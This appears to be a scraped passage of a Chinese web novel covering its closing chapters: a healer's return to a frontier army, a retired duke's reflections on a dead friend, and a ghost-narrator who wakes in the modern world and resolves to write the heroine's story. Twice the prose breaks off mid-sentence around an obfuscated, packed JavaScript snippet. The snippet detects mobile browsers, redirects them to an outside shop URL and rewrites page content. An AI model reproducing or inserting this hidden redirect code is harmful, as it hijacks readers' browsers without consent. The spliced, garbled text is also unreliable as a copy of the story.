江南的雨下起来就没个尽头,淅淅沥沥。廖双盘冲屋外喊了一声,急急忙忙进来一个穿裤装的女人,忙问廖双盘有何吩咐。 廖双盘一指桌上的药臼,指使耿红赶快研磨处理好晒干的药材,否则这雨接连一下,又得耽误好多功夫。耿红应声,忙取了工具便去药房忙碌。 廖双盘暗自点点头,想着孔英给她介绍的这个徒弟还算勤快,叫她干什么就干什么,也不会说什么反驳的话跟她呛声。 孔英…… 一提起这个名字,廖双盘就不可避免地想起叶雪薇。 原来那个女人已经死了这么久,连她的女儿都长到这么大了。上一次亲眼见孔英,还是对方身中灭神散,跑到她这里来求救命。廖双盘便将迟到了十多年的蛊王送了出去。 其实叶雪薇下葬的时候,廖双盘悄悄去看过几眼,不敢真正露面,怕吓到叶雪薇尚在人世的鬼魂。 不过廖双盘还是倾向于人死之后没有鬼魂一说。 否则怎么这么许多年,叶雪薇连梦都不给她托一个? - 耿红最开始是听孔英提起江南有位毒医圣手,可治百病生白骨。她对于这种用蛊虫治病救人的方法十分好奇,便经由孔英介绍,上门拜师。 毒医圣手一开始不打算收徒,毕竟耿红又是不苗疆人,对于蛊虫完全是个门外汉。架不住对方态度诚恳,又走了关系,只好收下当个助手用。 毕竟时过境迁,廖双盘也从面老心不老成了个货真价实的老妪。 而耿红不会一直呆在江南。她从在西北当军医的那段日子中寻找到了自己人生的意义,因此打算学成之后回到西北,继续当个军医。 判断她能否出师的是毒医圣手。尽管天资受限,耿红大概一辈子也学不完毒医的本事,但学个五五六六已经足够了。且毒医还将许多苗族特有的方子写下来送给她,耿红感激不尽。 “走吧。”毒医没有多说话,撂下两个字就将大门关上。 耿红重走了一遍当年和孔英一起走过的参军路,路上许多景象她已经认不出来,只能依稀回忆起一些零星过往。彼时她身边有女扮男装的孔英,一路上走得放心大胆。如今耿红一个人走,居然也不怎么害怕。 许多事还是得独自做一遍。 耿红回到西北军后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288481|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见这里大多是新面孔,心中不知作何感想,但还是做好本职工作,一头扎进伤兵营帐里,将蛊和药结合,钻研其中脉络相通之处,救了许多人。 “姐,你怎么回来都不跟我说一声!”孔英埋怨着,脸上却全是惊喜。 这位叱咤西北的都尉可是威风不减当年。彼时孔英还是个百夫长,就已经在军中闯出些名头了。后来历经世事,更像一柄锋芒毕露的宝剑。耿红发自内心为她高兴。 耿红笑道:“如果告诉你,你怕是三百里外就要派人来了。” 孔英摸了摸鼻子,不得不承认这是事实。两人正叙旧,说一说这么些年分开后的际遇,营帐外突然传来一阵喧哗。孔英皱起眉头侧耳一听,大怒。 “好哇,在我军下居然还有人敢欺负新兵,这些兵痞子真是皮痒了!”她脸上带着怒容掀帘出去,正想好好教训这些不听话的兵卒,却有人抢先一步。 “干什么呢,不知道西北军军律严明吗,还敢欺负新来的?” 转头一看,是个熟人。 王康袖子挽到胳膊肘,原本正拿着铁勺在锅里搅着肉汤。乍然听见几个人看热闹说外面有新兵被老兵打了,莫名起了冲动,拿着铁勺就冲出去,喝止住正扭打成一团的几人。 他样子看着滑稽,衣衫上沾染了油污,面容却极其认真。 老兵啐了一口,食指毫不客气指向王康,正要破口大骂,身边人却突然扯了扯自己的袖子,不耐烦地侧目蹬过去却从余光里瞥见了个身穿铠甲的身影。心中凛然,腿下一软,直直跪倒在王康面前。 众人见刚才还耍威风的人如今直接给个火头兵跪下了,哄然大笑。 王康没笑,望着孔英愣神。其实他能见到孔英的时候不多,毕竟对方常在战场上,如无意外也不怎么会来这里。不过看到对方身后紧跟着出来的耿红,一切便有了答案。 当年护国公三小姐被俘的消息传来,印证了王康的猜测,不过那时候说这些也没什么意义。却不想孔英又回到了西北军。 初见时,对方是个低自己一头的新兵。如今,对方已经是个不会将自己放在眼里的都尉了。造化弄人,想来好笑。 孔英出马,依照军律处理了闹事的几人,并立下军规,若有人再欺辱新兵扰乱军心,必严惩不贷。临走前,她回头看了眼默默待在原地的王康,喊道:“王康,你要是再不回去,汤就要糊啦!” 王康如梦方醒,果然在空气中闻见一丝糊味,赶紧举着铁勺回去,刚走了几步却突然意识到:刚才,她是叫了我的名字吗? - 事端了结,耿红回到营帐内,想起孔英方才的话。 “我当年失忆后,最大的庆幸就是结交了两位朋友,一个是你,一个是严长福……不知道你可还记得他?他还说过愿意为你当外室呢。” 孔英一直自责于严长福因自己而死,尽管她也知道战场上生死有命,可严长福是她在军营里交到的第一个好朋友,始终是她亏欠于对方。 她记得严长福提起过自己的家乡在七贤郡,还有一对老爹老娘和几个弟弟妹妹。可战乱爆发后流民逃窜,孔英派出去的人全一无所获,根本找不到严长福的家人。 一直到后来战乱平息,她才寻到消息,可这消息却让孔英沉默了许久。 “他们家人为躲避战乱逃去了山上,好歹活了下来。可是,可是……”孔英有些说不下去。 严长福说过他弟妹众多,有个二弟擅长读书,有个四妹差点被卖,又被严长福找了回来,却没说过他的三妹和五弟早饿死在水灾导致的灾荒里。 怪不得,怪不得。孔英带着些后知后觉的恍然大悟。 怪不得严长福说了许多关于自己二弟和四妹的事,却很少提到三妹和五弟,原来如此…… 孔英派人给严长福的家人送去了许多钱财,还给他们买了一座大宅院,一座严长福梦见过的大宅院。 她有时候在想,自己伪造的那封家书是不是画蛇添足,严长福既然看出了家书是假,又为什么不说。 不过这些问题的答案,或许只有严长福自己才知道了。 62. 随意春芳歇 窗外市井的热闹叫卖隐约可闻。京城经历一次劫难,新登基的皇帝着眼于民生,上任后颁布的政令几乎全是恢复黎民百姓生计,而后才轮到朝廷的各项改革。 他手段比他老子南渐鸿温和不少,也可能是因为生长在帝王家里,耳濡目染了许多帝王之术,年纪不大,但应对起这些事情已经得心应手,登基不久就将朝廷安稳下来。总之是比南渐鸿做得要好不少。 南渐鸿退位让贤之后无事一身轻,偶尔会请孔青雄进宫一聚,后来嫌麻烦,索性隐姓埋名搬到孔府附近。 孔青雄默默擦了一把汗,将周围的守卫人马加了一倍。 书房内墨香淡淡,托南渐鸿的福,孔青雄这大老粗的书房如今也多了不少文人雅士的东西,什么熏香啊古琴啊,全是那位实在闲得没事干的太上皇送来的。 说起来,孔青雄刚认识南渐鸿的时候,对方可没那么多闲情雅致搞这些。如今这么多年富贵生活过下来,将个草莽野夫也浸润成了如今的样子。 可惜南渐鸿退休了,他孔青雄还得接着干。 现如今刚批阅完边关送来的军报,闭了闭老花眼揉了揉眉心,从木案上拿起一封从西北送来的家书,信封上张牙舞爪四个大字:老头亲启。 不用说,一看这字迹和口吻,孔青雄就已经知道是谁执笔。拆开信一目十行,他忍不住拍案而起哈哈大笑,喜气洋洋出门直奔隔壁府邸,要去找南渐鸿那个老东西炫耀。 孔英在信中说,大嫂舒月蓉诊出了喜脉,自己就要当姑姑了。虽然口吻放荡不羁,却也能从字里行间看出轻快的喜悦。 “大嫂害喜爱吃酸杏脯,你从京城过来时记得从蒋记带些来,那里的最好吃。”孔英还不忘给蒋芸打个广告。 南渐鸿一听孔青雄抢先自己一步做了爷爷,面上装作气恼却眼里含笑。接着就见孔青雄一把将家书拍在案上,说自己要卸甲归田,去西北抱儿孙享福去。 行动力十足。次日五更,孔青雄穿戴朝服入宫。 新帝南嘉德坐在太和殿上,年轻的面庞露出几分威仪。孔青雄伏身行礼,脊背挺得笔直:“老臣年事已高,恳请陛下准臣卸甲归田,辞去护国公之职,归隐乡间,安享天伦。” 这个消息早经由南渐鸿给新帝通过气,毕竟护国公一职算是最高武将。要是皇帝直到了早朝才知道他想卸甲归田,到时候怕是又有不少麻烦事。 有过父亲暗示,新帝自然不会为难孔青雄:“准奏,护国公为国尽忠多年,今当享清福……替朕给护国公的家眷带声好。” 如此这般,这位传奇半载、临退休前还联手先帝平息前朝遗民叛乱的护国公的风云人生,终于落下帷幕。 风吹过庭院,树叶轻轻摇曳,那朱红宫墙越来越远,被落在马车后。 要说是几年前,兴许孔青雄还看不上马车,定是要自己甩着马鞭夹着马腹,马蹄一路扬着尘沙往西去。不过现如今,他都是个要当爷爷的人了,行事不可谓不稳重。 马车沿着黄土道前行,出了繁华的京城,道路两侧的景象逐渐成了连绵的田野和村落。阳光透过云层洒下来,碎金子般透过稀疏的树影落在地上。 孔青雄掀起车帘往外探出头,问车夫:“前头是哪儿?”车夫答了某个郡县名,听着很陌生。 但孔青雄却无端觉得眼前一片郁郁葱葱的竹林十分眼熟,喊车夫停下歇会儿,自己下车孤身走入那竹林中去。 他想起来了。这片竹林他在燕寒松的家里见过,就挂在那门厅墙上。 孔青雄一时无言,拨开丛生的杂草继续往里。 燕寒松生前是国师,权势滔天,搅动朝堂风云。不过谁能想到那般貌似与世无争的人心里裹挟着如此深重的仇恨与夙愿呢?孔青雄本以为自己与燕寒松是知己好友,却不曾想到头来,他压根没看透过对方。 不知往里进了多深,竹林里显现出一间草庐,如今多年无人搭理,早已破败不堪。屋顶塌陷,墙壁斑驳,野草从裂缝中钻出蔓延到门前,一片荒凉景象。 草庐前的空地上散落了一地石块。孔青雄捡起一块来看,依稀可见工匠雕琢时的精细。如今石像却被砸得粉碎,裂痕纵横,面目全非,青苔丛生。 草庐前的田野已经荒废许久了。 有人在世图的不多,就是个生前生后名。生前做好事是为脸面,不至于死后遭人唾骂被人掘坟。 孔青雄早年与燕寒松坐而论道时,想自身虽也做过糊涂事,但凭着个护国公的头衔,肯定能挣个风光大葬。燕寒松对此话不反驳,反倒是说后世人如何评价今生肯定是不知道了。 人只有两只眼睛,看事情难免片面。可当断不断反受其害,有时候只能一条道走到黑。最痛苦的人就是优柔寡断的人,想要这个顾虑那个,好坏都不够彻底。 燕寒松就坦荡许多。 他想清楚了自己要为文帝肝脑涂地,文帝死后传承就到了其独子赵衡身上。这种已经快要成为罣碍的执念成了燕寒松的一生追求,为此可以抛头颅洒热血。 换位思考下,孔青雄愿意为南渐鸿做到这种地步吗?那肯定是不会的。武将的脑袋不如文官活络,但就是这点好,直来直去洒脱豁达。 要是有朝一日南朝真到了危急关头,孔青雄肯定会在前线战场上战斗到最后一刻,而不会像燕寒松一样卧薪尝胆数余年。 要不然怎么说他从来没看透过这位老友呢。 成也萧何败也萧何。燕寒松算计了那么多年,却不愿意相信人间有真情人间有真爱。 他没把赵衡对孔英的心思算进去,成了一错;没料到南渐鸿是真相信孔青雄不会谋反,成了二错。人非草木孰能无情,燕寒松总下意识低估情的作用,而连他自己的命运都是被赵文帝的知遇之恩情推着走。 车夫正在树荫下乘凉,眼见孔青雄又从竹林里走出来,忙站起来,见对方头上插了竹叶也不好提醒,当作没看见又驾着马车继续赶路。 而孔青雄坐进车里一低头,眼前悠悠然飘下一枚青翠欲滴的叶子。他擒住捏在手里,良久后又从掀开车帘放出去,见那片叶子飘飘然随风而去了。 - “嚯!” 梁天赐一个鲤鱼打挺起身,脑袋磕到了床头,疼得她龇牙咧嘴,抱着后脑勺在床上打滚。 不对! 她猛然愣住,身体快过意识拉亮了床头柜上的夜灯,呆呆看了一圈周围熟悉又陌生的环境。电风扇、塑料衣柜、白瓷砖还有装满了饮料零食的小冰箱…… 她,她回来了!从吃人不眨眼的封建社会回来了信息文明正如火如荼发展的现代社会! 要怎么形容这种感觉呢,就像是易拉罐拉环断了,你再一眨眼,发现眼前的不是易拉罐,而是自带习吸管的盒装饮料。像做梦一样,不知道是自己真的穿越了还是精神错乱之下的幻觉。 不过好在,梁天赐现在可以将吸管插进盒子里,美美享用现代社会带来的便利了。 在小口小口细品柠檬红茶的时候,她的思绪又不自觉飘回自己梦中的所见。 梁天赐在梦里的角色叫作小蝶,因失手摔碎皇帝送给德妃的芙蓉玉簪,被砍了双臂活活血流而亡。一想起这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288482|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个,她就忍不住打了个寒颤。 那梦也忒真实了。 也不知是怎么回事,梁天赐死后却没有被拉入阴曹地府,而是以类似一缕孤魂的形式继续存活在人世间。 天大地大任她来去自如,只是不能出京城。 作为一缕不散的阴魂,梁天赐可谓是见多识广,将这个社会下人的阴暗面看了个爽。她是个乐天派,不知道自己最终的归宿是会折在哪个道士或和尚手里,就及时行乐,仗着自己是个阿飘,专门往不可去处去。这么一看,差点把她眼睛看瞎。果然,非礼勿视非礼勿视。 后来见怪不怪,梁天赐开始觉得这个世界无趣。常年无处可说的孤寂快要将她淹没了。 也就是在这时候,她发现京城新来了个小姑娘,名字叫作孔英。 孔英对她有一股莫名其妙的吸引力。梁天赐甚至发现,只要跟着孔英,她甚至能出京城! 稀了奇了怪了。梁天赐最开始猜测孔英是个跟她一样的穿越者,可观察来观察去,失望地承认对方就是个本地土著。但她对孔英的好奇一直没有消退,时不时就来护国公府看一眼。 和孔英想出的时间越长,梁天赐琢磨出了不对劲。她惊恐地发现自己的力量居然在减退!不过也就惊恐了一瞬间吧,毕竟她早该死了。 且不知道是不是她的缘故,孔英逐渐展示出超出常人的力气,简称力大无穷。 梁天赐有种难以言说的复杂情绪,一方面对这个孩子有种亲切感,遗憾自己似乎看不到对方以后的样子,另一方面又释怀于自己当了这么多年阿飘,终于可以转世投胎去了吗? 后来她越来越虚弱,甚至难以脱离孔英自主行动。 梁天赐跟着孔英行走江湖,一边充当着阿飘形吐槽机: “不是吧不是吧,这么个男的你都能认成女的?” “哇塞,这轻功也太厉害了。不过比起阿飘还是略逊一筹。” “美女姐姐杀我!” “咦,这人怎么有点眼熟?” “啊呸一群阴险刺客只会耍阴招,呜呜呜孔英你不要死啊……” “这臭小子刚才是不是亲孔英了?ohno!吾家有女初长成,却有野猪拱白菜。” “啧啧啧,小情侣真甜。” “……我收回我的话。” 不知道是不是回光返照,梁天赐在这趟旅途中居然回忆起来些自己的现代生活。不用吃饭不用睡觉的生活已经叫她有些错乱了,恍惚间会觉得一切都是自己的想象,就像人们梦见天庭里的神仙。 只有待在孔英身边,待在梁天赐在这个时代的锚点身边,她才能感受到真实与虚幻的界限。 她是什么时候彻底消逝的呢?梁天赐存活的时间比自己预期得久,她如愿见到了孔英年老的样子,看她在西北这么些年起起伏伏,立下许多功劳,死后被追封英武侯。 真是…… 太厉害了! 梁天赐又想鲤鱼打挺一跃而起,顾忌着还在疼的脑袋,老老实实从床上下去,打开台式机。许久不当人,但这具身体的记忆还停留在昨天入睡前的正常生活,因而操作这些个现代机器也十分熟练。 梁天赐决定把孔英的故事写出来。 取什么名字好呢,要不叫《孔英有力》? 不行不行,这什么破名字。 有了!就叫…… 《天生神力的女主角为反抗封建家长包办婚姻出走江湖当老大收小弟和前朝太子有了一段狗血到天上的爱恨情仇且女扮男装参军入伍最后成为叱咤西北英武侯的传奇人生》吧!